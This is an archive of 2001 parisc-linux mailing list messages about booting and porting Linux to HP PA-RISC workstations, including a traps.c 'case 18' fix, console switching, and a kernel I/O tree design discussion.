Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 74776B005; Sun,  4 Feb 2001 12:11:06 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0101261205420.31352-100000@maestro.symsys.com>; from ingram@symsys.com on Fri, Jan 26, 2001 at 12:16:29PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:10149

On Fri, Jan 26, 2001 at 12:16:29PM -0600, Greg Ingram wrote:
> > There is a bug in more (really!), now fixed, but needs a rebuild.  If you
> > invoke it as /bin/more you'll be ok.
> 
> I believe it, I just don't believe it.  Is this related to stack
> direction?  (What is it: grows down on parisc but up on Intel and most
> other Linux-supported processors?)  If so, what is more fiddling with on
> its stack?  Does it alter its behavior based on argv[0]?  Oh well, not
> really too important now, I guess.

parsic grows up, most others grow down.  'more' checked argv[0] to see
how it was invoked, and due to a coding bug tried to read argv[0][-1].
As argv[0] is the first item on our stack, that caused a trap.

Richard





From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] _working_ rbootd for redhat
Date: Sun, 04 Feb 2001 15:39:48 +0100
Organization: private
Lines: 47
Approved: news@gmane.org
Message-ID: <3A7D69B4.896F63D6@dot.at>
References: <200102041048.VAA00309@customware.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619834 15041 80.91.229.3 (22 Nov 2014 01:30:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:34 +0000 (UTC)
To: penfold@customware.com.au, parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 07:39:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dns2.dot.at (dns2.dot.at [212.9.128.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id D41FD4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 07:39:55 -0700 (MST)
Original-Received: from dot.at (IDENT:plattner@dot-tc01-058.dot.at [212.9.128.98])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id PAA01886;
	Sun, 4 Feb 2001 15:49:58 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10150

Hello !

For the SCSI I have nothing fixed !
It works out of the box.

I have not sent any patch. I only tried it and it works.
So to all PA-RISC hackers, add the TRAP 18 there in the main stream !!

Ok, wonderful that your machine is also booting that way...

With friendly regards
	Christoph



penfold@customware.com.au wrote:
> 
> Hi there,
> 
> > I had already success with rbootd !
> brilliant.  It's pretty striaghtforward (when you know how!!)
> 
> > Here the kernel I always boot, and I can see the scsi disk !
> 
> excellent! thanks for this.
> What needed fixing to get scsi to work?
> have the patches to fix the scsi been comitted ?
> 
> co-incidently as of about 10 minutes ago I finally got the box to boot! (yay!)
> with a kernel I built after adding the case 18: to trap.c
> 
> Do you know why this has not been comitted?
> I added the extra case 18: to my linux-20010117.tar.gz and it works,
> but I checked out the latest source archive and the fix is not in there.
> 
> thanks again,
> 
> Damian
> penfold@customware.com.au

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: zhao <qzhao@nc.rr.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Pa-linux install hangs on a HP 9000 712/100
Date: Sat, 21 Oct 2000 22:00:50 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <39F24A52.4B7541DE@nc.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619835 15044 80.91.229.3 (22 Nov 2014 01:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 10:28:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail5.nc.rr.com (fe5.southeast.rr.com [24.93.67.52])
	by dsl2.external.hp.com (Postfix) with ESMTP id A30DA4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 10:28:08 -0700 (MST)
Original-Received: from nc.rr.com ([24.163.33.210]) by mail5.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.537.53);
	 Sun, 4 Feb 2001 12:28:03 -0500
Original-Sender: zhao@dsl2.external.hp.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.17-21mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10151

Thanks for the former help. Now I can boot the machine. 

I tried to install PA linux on to this machine. 
When the installation starts, everythins seems fine, 
The devices are recongnized correcttly. 
My SCSI HD is on 0.0. 
It hangs after booting, the last message the installer gave is: 
Switching from PDC console. 

Do anyone have any idea about this? 

Thanks, 

zhao




From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Pa-linux install hangs on a HP 9000 712/100
Date: Mon, 5 Feb 2001 01:43:21 +0800
Lines: 38
Approved: news@gmane.org
Message-ID: <20010205014319.A26274@neep.com.au>
References: <39F24A52.4B7541DE@nc.rr.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619835 15045 80.91.229.3 (22 Nov 2014 01:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 10:43:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 793FC4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 10:43:36 -0700 (MST)
Original-Received: (qmail 3524 invoked by uid 666); 4 Feb 2001 17:43:23 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.180.72)
  by mail.iinet.net.au with SMTP; 4 Feb 2001 17:43:23 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id BAA26313
	for parisc-linux@lists.parisc-linux.org; Mon, 5 Feb 2001 01:43:24 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <39F24A52.4B7541DE@nc.rr.com>; from qzhao@nc.rr.com on Sat, Oct 21, 2000 at 10:00:50PM -0400
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:10152

zhao said:
> Thanks for the former help. Now I can boot the machine. 
> 
> I tried to install PA linux on to this machine. 
> When the installation starts, everythins seems fine, 
> The devices are recongnized correcttly. 
> My SCSI HD is on 0.0. 
> It hangs after booting, the last message the installer gave is: 
> Switching from PDC console. 
> 
> Do anyone have any idea about this? 
> 
> Thanks, 
> 
> zhao

Christoph may've been a little exuberant with his exclamation marks, but
he was dead on about your system having the wrong date.  Please fix the
date on the system you're sending mail from, even if only to make me
happy ...

You haven't said anything about which Linux you're trying to stick on
the box, so presumably you're using the CD?  If so, it's not hanging,
it's just switching to the serial console.  (This is in a FAQ thingy on
the website, I'm sure.)  Hook another system up to the serial A of the
HP box and you'll see what's going on.  Christoph gave the relevant
details in his post so I'll not repeat them here.

Andrew.

--
Andrew Shugg <andrew@neep.com.au>                   http://www.neep.com.au/

"Just remember, Mr Fawlty, there's always someone worse off than yourself."
"Is there?  Well I'd like to meet him.  I could do with a good laugh."




From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New toolchain debs available
Date: Sun, 4 Feb 2001 22:40:15 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20010204224015.H1374@linuxcare.com>
References: <20010202004849.31AED3873B@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619835 15047 80.91.229.3 (22 Nov 2014 01:30:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:35 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 15:39:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 18A5D4A19
	for <parisc-linux@parisc-linux.org>; Sun,  4 Feb 2001 15:39:33 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id DE3FAB005; Sun,  4 Feb 2001 22:40:15 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010202004849.31AED3873B@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Thu, Feb 01, 2001 at 05:48:49PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:10153

On Thu, Feb 01, 2001 at 05:48:49PM -0700, Matt Taggart wrote:
> I have built new hppa debian packages of our current binutils, gcc, and glibc 
> cvs bits. They are available at,
> 
> ftp://puffin.external.hp.com/ftp/pub/parisc/binaries/new-debs/debian/
> ...
> Several people are also working to populate that directory with other debs 
> built with these tools. Report any failures to the list.

Would one of those wonderful people try to build modutils and drop
it in there please?  It should build fine for parisc from the
debian source these days.

Thanks,
  Richard





From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP9000/730 problems
Date: Mon, 5 Feb 2001 00:29:27 +0100 (CET)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102050015450.385-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619836 15051 80.91.229.3 (22 Nov 2014 01:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:36 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 16:29:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sgate.charlysworld.de (pD95055C6.dip.t-dialin.net [217.80.85.198])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD5F34A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 16:29:34 -0700 (MST)
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f14NTRC00787
	for <parisc-linux@lists.parisc-linux.org>; Mon, 5 Feb 2001 00:29:28 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
Xref: news.gmane.org gmane.linux.ports.parisc:10154

Hello there,

i'm still trying running linux on hppa :-/

well, i tried both booting from scsi hd AND nfsroot/bootp

everytime it says (endless loop):


VFS: Mounted root (nfs filesystem) readonly

handle_interruption() pid=1 command='init'


PSW: 0000000000 [snip stack output]


(the same for booting from scsi hd)

Mhhh.

BTW, ASP Parallel Port driver is still broken (can't boot with it,
but can boot without it).

STI console is also broken (many characters are not printed or substitued
by spaces). The problems occur of course AFTER "switching console" !

But serial console works fine :)


Configuration: latest CVS kernel from 20010204 (about 17:00 UTC);
xc somewhere from november, the same for nfsroot.

I hope somebody can help!
Thanks In Advance,
  greetings (somewhat frustrated) max





From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@deathsdoor.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 720/50 SCSI - supported?
Date: Mon, 5 Feb 2001 00:36:50 +0100 (CET)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102050035420.940-100000@sgate.charlysworld.de>
References: <Pine.LNX.4.21.0102021804060.31237-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619836 15052 80.91.229.3 (22 Nov 2014 01:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 16:37:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4C4434A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 16:37:02 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA22873
	for <parisc-linux@puffin.external.hp.com>; Sun, 4 Feb 2001 16:32:48 -0700
Original-Received: (qmail 21825 invoked by uid 15267); 4 Feb 2001 23:37:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21818 invoked from network); 4 Feb 2001 23:36:59 -0000
Original-Received: from pd95055c6.dip.t-dialin.net (HELO sgate.charlysworld.de) (root@217.80.85.198)
  by mailserv2.iuinc.com with SMTP; 4 Feb 2001 23:36:59 -0000
Original-Received: from localhost (xam@localhost)
	by sgate.charlysworld.de (8.11.0/8.11.0) with ESMTP id f14Nao101012
	for <parisc-linux@thepuffingroup.com>; Mon, 5 Feb 2001 00:36:50 +0100
X-Authentication-Warning: sgate.charlysworld.de: xam owned process doing -bs
X-Sender: xam@sgate.charlysworld.de
In-Reply-To: <Pine.LNX.4.21.0102021804060.31237-100000@sgate.charlysworld.de>
Xref: news.gmane.org gmane.linux.ports.parisc:10155

On Fri, 2 Feb 2001, I wrote:

> On Thu, 1 Feb 2001 penfold@customware.com.au wrote:
> 
> > Hi,
> > 
> > after successfully cross compiling a kernel, I have a problem!
> 
> [blablabla] :)
> 
> seems to be the same problems I have with my 730 ...
> ... nearly exactly the same messages and behaviour.

well, that was wrong ... se my last message!

greetings max






From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] RFC: I/O tree design
Date: Sun, 04 Feb 2001 21:04:33 -0700
Lines: 84
Approved: news@gmane.org
Message-ID: <3A7E2651.9C53CC84@uswest.net>
References: <3A7BB0A0.D478911A@uswest.net> <20010203175751.C12985@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619836 15054 80.91.229.3 (22 Nov 2014 01:30:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Feb  4 21:04:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id DD4DA4A19
	for <parisc-linux@lists.parisc-linux.org>; Sun,  4 Feb 2001 21:04:40 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA23449
	for <parisc-linux@puffin.external.hp.com>; Sun, 4 Feb 2001 21:00:26 -0700
Original-Received: (qmail 20830 invoked by uid 15267); 5 Feb 2001 04:04:39 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20822 invoked from network); 5 Feb 2001 04:04:38 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 5 Feb 2001 04:04:38 -0000
Original-Received: (qmail 29663 invoked by alias); 5 Feb 2001 04:04:34 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 29644 invoked by uid 0); 5 Feb 2001 04:04:33 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 5 Feb 2001 04:04:33 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10156

Matthew Wilcox wrote:

> On Sat, Feb 03, 2001 at 12:17:52AM -0700, Ryan Bradetich wrote:
> > Currently all the "discovered" I/O devices are stored in a
> > fixed size array which contains up to 64 devices.  This fixed
> > size array has already been established and is known to work,
> > so this proposal does not attempt to replace the fixed size
> > array, but instead uses indexes within the struct hp_device
> > to create the logical I/O tree.
>
> I think you need to be braver.  Kill the fixed size array.  kmalloc each
> struct and use pointers to reference between them.  If you want, you
> can use the doubly-linked-list macros in <linux/list.h>, but i suspect
> self-managed singly-linked-lists will be more appropriate for this.
> After all, it's not like the tree gets modified on a regular basis.

Ok, I was bored today so I worked on removing the fixed array and
replacing it with a linked list structure using kmalloc.  After I got this
compiled and linked to work with the kernel it promply paniced on
the first kmalloc statement.  Searching around in
arch/parisc/kernel/setup.c I found this comment that fits the
description of my kmalloc problem:

/*
** KLUGE ALERT!
**
** We *really* should be using a combination of request_resource()
** and request_region()! But request_region() requires kmalloc since
** returns a new struct resource. And kmalloc just isn't available
** until after mem_init() is called from start_kernel().
**
** FIXME: assume contiguous memory initially.
**     Additional chunks of memory might be added to
sysram_resource.sibling.
*/

The do_inventory call is made before mem_init() is called which
explains why kmalloc cause the machine to panic.

So I am looking for some guidence here .... do we want to move the
do_inventory call after the mem_init call ... or do we want to stick with
the fixed size array still?


> > Child: This index is only set to a valid node if the
> > current node is the Central bus, a Bus Converter, or
> > a Bus adapter.  When this index is set to a valid node,
> > it points to the head of the sibling list containing all
> > valid nodes for the given bus.
>
> One advantage of doing this is that `Child' could be a pointer to a
> PCI bus.

I like this proposal ... that is a good justification for me to move to a
dynamic tree instead of a fixed array :)  Currently I have no idea
how the interface would look to hook all the busses togeather via
a common I/O tree.  Is their a common bus interface that I should be
matching in my I/O tree implimentation for parisc-linux?

> > This proposal also calls for a special "root" node at
>
> And you don't ned a root node, just siblings.

That would be nice :)

Thanks for the feedback willy.  I have already started hacking in an I/O
tree into my local tree using the fixed array just to work out some of the
design issues, and problems to over come.  I will probably scratch this
attempt once I get a better understanding of what I am doing.

- Ryan


> --
> Revolutions do not require corporate support.
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux





From - Thu Nov 08 21:16:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: penfold@customware.com.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000/730 problems
Date: Mon, 5 Feb 2001 18:56:00 +1100 (EST)
Lines: 28
Approved: news@gmane.org
Message-ID: <200102050757.SAA05996@customware.com.au>
References: <Pine.LNX.4.21.0102050015450.385-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619837 15058 80.91.229.3 (22 Nov 2014 01:30:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: xam@deathsdoor.com (M. Grabert)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 00:57:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mr14.vic-remote.bigpond.net.au (mr14.vic-remote.bigpond.net.au [24.192.1.29])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9AAF54A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 00:57:25 -0700 (MST)
Original-Received: from customware.com.au (CPE-144-132-17-132.vic.bigpond.net.au [144.132.17.132])
	by mr14.vic-remote.bigpond.net.au (Pro-8.9.3/8.9.3) with ESMTP id SAA17106;
	Mon, 5 Feb 2001 18:57:21 +1100 (EDT)
Original-Received: (from penfold@localhost)
	by customware.com.au (8.9.3/8.8.7) id SAA05996;
	Mon, 5 Feb 2001 18:57:15 +1100
In-Reply-To: <Pine.LNX.4.21.0102050015450.385-100000@sgate.charlysworld.de> from "M. Grabert" at Feb 05, 2001 12:29:27 AM
X-Mailer: ELM [version 2.5 PL3]
Xref: news.gmane.org gmane.linux.ports.parisc:10157

> 
> Hello there,
> 
> i'm still trying running linux on hppa :-/
> 
> VFS: Mounted root (nfs filesystem) readonly
> 
> handle_interruption() pid=1 command='init'
>
you need to edit /usr/src/linux/arch/parisc/kernel/traps.c
around line 574 you will see case 15 and case 26 - add case 18.

        case 15:
        case 18:
        case 26:
 
> 
> BTW, ASP Parallel Port driver is still broken (can't boot with it,
> but can boot without it).
> 
yup!

Damian
penfold@customware.com.au





From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP9000/730 problems
Date: Mon, 05 Feb 2001 13:05:08 +0100
Organization: AAA
Lines: 69
Approved: news@gmane.org
Message-ID: <3A7E96F4.F515929C@alcatel.at>
References: <Pine.LNX.4.21.0102050015450.385-100000@sgate.charlysworld.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619837 15062 80.91.229.3 (22 Nov 2014 01:30:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@deathsdoor.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 05:05:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 855E94A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 05:05:33 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id NAA22276;
	Mon, 5 Feb 2001 13:05:09 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10158

Hello,

	again and again, I hope this problem will be fixed !
The reason is an older generation of the PA-RISC CPUs using
interuption (TRAP) `18', on newer CPUs this trap is defined via
new different traps, as trap 18 can have up to three reasons.

A profi hacker on HPPA, it was 
       John Marvin <jsm@udlkern.fc.hp.com>
told me to add the `case 18:' to the block with `case 15:' and
`case 26:' in arch/parisc/kernel/trap.c (I hope this is right !)
in the routine handle_interruption().

After this change, the machine boots up well !!

I hope, this fix will done also in the mainstream !!

With friendly regards
	Christoph Plattner


"M. Grabert" wrote:
> 
> Hello there,
> 
> i'm still trying running linux on hppa :-/
> 
> well, i tried both booting from scsi hd AND nfsroot/bootp
> 
> everytime it says (endless loop):
> 
> VFS: Mounted root (nfs filesystem) readonly
> 
> handle_interruption() pid=1 command='init'
> 
> PSW: 0000000000 [snip stack output]
> 
> (the same for booting from scsi hd)
> 
> Mhhh.
> 
> BTW, ASP Parallel Port driver is still broken (can't boot with it,
> but can boot without it).
> 
> STI console is also broken (many characters are not printed or substitued
> by spaces). The problems occur of course AFTER "switching console" !
> 
> But serial console works fine :)
> 
> Configuration: latest CVS kernel from 20010204 (about 17:00 UTC);
> xc somewhere from november, the same for nfsroot.
> 
> I hope somebody can help!
> Thanks In Advance,
>   greetings (somewhat frustrated) max
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:16:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel module loader gived break
Date: Mon, 5 Feb 2001 16:25:23 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <20010205162523.P1374@linuxcare.com>
References: <200101271610.RAA30546@zaphod.halden.lillfab.se> <200101290356.TAA25535@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619837 15066 80.91.229.3 (22 Nov 2014 01:30:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:30:37 +0000 (UTC)
Cc: 5116@telia.com, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  5 09:25:49 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 953FF4A19
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Feb 2001 09:25:49 -0700 (MST)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA28787
	for <parisc-linux@puffin.external.hp.com>; Mon, 5 Feb 2001 09:21:33 -0700
Original-Received: (qmail 11959 invoked by uid 15267); 5 Feb 2001 16:25:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 11713 invoked from network); 5 Feb 2001 16:25:21 -0000
Original-Received: from pc117-bre9.cable.ntl.com (HELO rhirst.linuxcare.com) (213.105.88.117)
  by mailserv2.iuinc.com with SMTP; 5 Feb 2001 16:25:21 -0000
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 00718B005; Mon,  5 Feb 2001 16:25:23 +0000 (GMT)
X-Mailer: Mutt 1.0us
